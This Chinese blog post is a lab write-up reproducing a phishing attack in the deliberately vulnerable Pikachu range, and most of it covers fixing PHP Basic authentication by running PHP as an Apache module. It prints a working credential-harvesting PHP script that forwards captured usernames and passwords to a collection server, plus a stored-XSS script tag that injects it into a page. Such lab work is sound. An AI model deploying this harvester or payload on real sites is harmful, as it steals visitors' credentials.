网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

web安全团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > web安全 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

Pikachu靶场复现钓鱼攻击之Basic认证后数据无法发送到后台,PHP的HTTP身份验证机制仅在PHP作为Apache模块运行时有效

文章来源:重庆网络安全 发布时间:2020-02-27 15:56:33 围观次数:
分享到:

摘要:Pikachu靶场复现钓鱼攻击之Basic认证后数据无法发送到后台,重复弹出认证提示框原因分析及解决方法,PHP的HTTP身份验证机制仅在PHP作为Apache模块运行时有效。

  Pikachu靶场复现钓鱼攻击之Basic认证后数据无法发送到后台,重复弹出认证提示框原因分析及解决方法。


 后台fish.php代码


<?php error_reporting(0); // var_dump($_SERVER); if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) { //发送认证框,并给出迷惑性的info     header('Content-type:text/html;charset=utf-8');     header("WWW-Authenticate: Basic realm='认证'");     header('HTTP/1.0 401 Unauthorized');     echo 'Authorization Required.';     exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){ //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP     header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}     &password={$_SERVER[PHP_AUTH_PW]}");     exit; }  ?>


 在这里可以看出,基本逻辑是确定$ _SERVER ['PHP_AUTH_USER']或$ _SERVER ['PHP_AUTH_PW']是否为空。如果为空,则弹出身份验证窗口。但是,在实验过程中,发现无论如何输入,认证框都是连续循环的,猜测输入内容没有传递给这两个变量。因此,删除了var_dump($ _ SERVER)的注释,以查看$ _SERVER变量中包含哪些数据。

array(44) {    ["PATH"]=> string(726) "G:\XShell6\;...E:\Git\bin;"    ["SYSTEMROOT"]=> string(10) "C:\WINDOWS"    ["COMSPEC"]=> string(27) "C:\WINDOWS\system32\cmd.exe"    ["PATHEXT"]=> string(53) ".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC"    ["WINDIR"]=> string(10) "C:\WINDOWS"    ["PHP_FCGI_MAX_REQUESTS"]=> string(4) "1000"    ["PHPRC"]=> string(31) "G:/phpStudy/php/php-7.0.12-nts/"    ["_FCGI_SHUTDOWN_EVENT_"]=> string(4) "2312"    ["SCRIPT_NAME"]=> string(29) "/pikachu/pkxss/xfish/fish.php"    ["REQUEST_URI"]=> string(29) "/pikachu/pkxss/xfish/fish.php"    ["QUERY_STRING"]=> string(0) ""    ["REQUEST_METHOD"]=> string(3) "GET"    ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1"    ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1"    ["REMOTE_PORT"]=> string(4) "1278"    ["SCRIPT_FILENAME"]=> string(44) "G:/phpStudy/WWW/pikachu/pkxss/xfish/fish.php"    ["SERVER_ADMIN"]=> string(18) "admin@phpStudy.net"    ["CONTEXT_DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW"    ["CONTEXT_PREFIX"]=> string(0) ""    ["REQUEST_SCHEME"]=> string(4) "http"    ["DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW"    ["REMOTE_ADDR"]=> string(9) "127.0.0.1"    ["SERVER_PORT"]=> string(2) "80"    ["SERVER_ADDR"]=> string(9) "127.0.0.1"    ["SERVER_NAME"]=> string(9) "127.0.0.1"    ["SERVER_SOFTWARE"]=> string(52) "Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9"    ["SERVER_SIGNATURE"]=> string(0) ""    ["SystemRoot"]=> string(10) "C:\WINDOWS"    ["HTTP_COOKIE"]=> string(36) "PHPSESSID=i8puesvk7tu2s13kokh88qgtu1"    ["HTTP_ACCEPT_LANGUAGE"]=> string(14) "zh-CN,zh;q=0.9"    ["HTTP_ACCEPT_ENCODING"]=> string(17) "gzip, deflate, br"    ["HTTP_SEC_FETCH_MODE"]=> string(8) "navigate"    ["HTTP_SEC_FETCH_SITE"]=> string(4) "none"    ["HTTP_ACCEPT"]=> string(124) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"    ["HTTP_SEC_FETCH_USER"]=> string(2) "?1"    ["HTTP_USER_AGENT"]=> string(115) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"    ["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1"    ["HTTP_CACHE_CONTROL"]=> string(9) "max-age=0"    ["HTTP_CONNECTION"]=> string(5) "close"    ["HTTP_HOST"]=> string(9) "127.0.0.1"    ["FCGI_ROLE"]=> string(9) "RESPONDER"    ["PHP_SELF"]=> string(29) "/pikachu/pkxss/xfish/fish.php"    ["REQUEST_TIME_FLOAT"]=> float(1580478129.2173)    ["REQUEST_TIME"]=> int(1580478129)  }  Authorization Required.


 在这里,您可以看到没有两个变量$ _SERVER ['PHP_AUTH_USER']和$ _SERVER ['PHP_AUTH_PW']。搜索之后发现了原因:PHP的HTTP身份验证机制仅在PHP作为Apache模块运行时才有效,因此该功能不适用于CGI版本。从phpinfo()页面,您可以看到Server API是CGI / FastCGI。

blob.png

 因此,现在您知道,只需要在模块模式下运行PHP即可使HTTP身份验证机制生效。phpStudy默认以CGI / FastCGI模式运行。如果要作为模块运行,则需要安装Apache和相应版本的PHP。


  安装Apache


  首先下载Apache。Apache在VC运行时库中运行。如果没有VC库,则也可以在此页面上下载相应的VC14或VC15。


  下载后,解压缩到指定目录,打开Apache24 / conf / httpd.conf文件,找到Define SRVROOT,然后将/ Apache24修改为解压缩目录,如下所示,在G:\ Apache24目录中解压缩

Define SRVROOT "G:\Apache24"


 然后以管理员权限打开CMD并执行以下命令

G:\Apache24\bin\httpd.exe -k install -n apache


 转到bin目录并运行ApacheMonitor.exe。左键单击托盘上的小Apache图标,选择“开始”,然后访问localhost进行测试


  配置PHP


  关于PHP版本的选择,需要注意以下几点


  VC版本:在模块模式下运行,VC版本库需要保持一致。Apache是VC15,因此PHP也必须选择VC15。而且,如果计算机上没有VC15运行时,则需要单独安装。


  TS / NTS:TS是指多线程构建,NTS仅是指单线程构建。NTS通常适用于CGI / FastCGI,因此需要在此处选择TS版本


  x86 / x64:Apache过去是x86,请尝试选择同一版本以避免各种不兼容。所以选择x86


  如果您的Apache版本与我的相同:httpd-2.4.41-o111c-x86-vc15-r2,则PHP请选择:php-7.x.x-Win32-vc15-x86.zip

  下载PHP并解压缩


  打开Apache的httpd.conf文件并在最后添加配置

# 此处修改为你的PHP目录 LoadModule php7_module G:/php/php7apache2_4.dll PHPIniDir G:/php AddType application/x-httpd-php .php


重新启动Apache,在Apache安装目录下的htdocs目录中创建一个新的test.php,并编写以下内容:

<?php phpinfo(); ?>


最后,通过浏览器访问:[http://localhost/test.php](http://localhost/test.php),可以看到服务器API是Apache 2.0 Handler。

blob.png

  钓鱼攻击复现


  首先将PHP.ini-production文件复制到PHP安装目录中,并将其重命名为php.ini,然后打开


  找到extension = mysqli,去掉前面; 


  找到extension_dir =“ ext”,删除前一个; 并将其修改为PHP路径下的ext

extension_dir = "G:/php/ext"


 将Pikachu靶场复制到htdocs目录并启动MySQL。这里使用phpStudy环境。由于Apache已单独安装和打开,因此您只需要在此处单独启动MySQL。

blob.png

 浏览器访问:http://127.0.0.1/pikachu/vul/xss/xss_stored.php,插入恶意代码                             <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php">script>


 打开另一个浏览器,模拟普通用户访问http://127.0.0.1/pikachu/vul/xss/xss_stored.php,在弹出的对话框中输入帐号密码,输入后单击“确定”。

blob.png

此时,黑客可以从后台看到帐户密码。 至此,整个实验终于结束了。

blob.png

PHP运行模式


  这是PHP的四种操作模式:


  CGI协议模式:此模式允许Web服务器通过特定协议与应用程序进行通信。因为每个用户请求都必须fork创建过程来调用程序,然后销毁该过程,所以性能很低。 调用原理大致为:


  用户要求


  Web服务器收到请求


  fork子进程调用者/执行者


  程序返回内容/程序调用结束


  Web服务器接收内容


  返回用户

  快速CGI协议模式:CGI协议模式升级。它就像一个常驻型CGI。 只要打开请求,它就始终可以处理请求,并且无需结束该过程。 调用原理大致为:


  Web服务器快速CGI流程管理器初始化


  预先fork n用户的请求


  Web服务器收到请求


  移交给Fast-CGI流程管理器


  由Fast-CGI进程管理区域接收并由空闲的Fast-CGI进程之一处理


  处理完成,Fast-CGI进程变为空闲,等待下一个请求


  Web服务器接收内容


  返回用户

  Apache 2.0 Handler模块模式:默认情况下,Apache PHP运行时使用模块模式。它使用PHP作为Apache模块来启动Apache启动。PHP进程和Apache进程结合在一起。收到用户请求后,可通过调用mod_php模块直接对其进行处理。 模块模式以mod_php5模块的形式集成。这时,mod_php5模块的作用是接收Apache传递的PHP文件请求,处理这些请求,然后将处理后的结果返回给Apache。 如果我们在Apache启动之前在其配置文件中配置了PHP模块(mod_php5),则PHP模块将注册Apache2的ap_hook_post_config挂钩,并在Apache启动时启动此模块以接受对PHP文件的请求。


  PHP-Cli模式:命令行模式。此模式不需要任何其他程序,您可以通过直接键入php xx.php直接执行PHP代码。 命令行模式与常规Web模式不同。


  没有超时


  Buffer缓冲默认关闭


  STDIN和STDOUT标准输入/输出/错误使用


  echo,var_dump,phpinfo等直接输出到控制台


  可用的类/函数不同


  php.ini配置的差异


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:Pikachu靶场复现 钓鱼攻击 Basic认证 数据无法发送 后台 重庆网络安全

上一篇:使用CentOS8和NGINX尝试ModSecurity启动Web应用程序WAF
下一篇:登录、注册、账号、密码、验证码等表单渗透经验介绍

热门资讯

鼠标向下滚动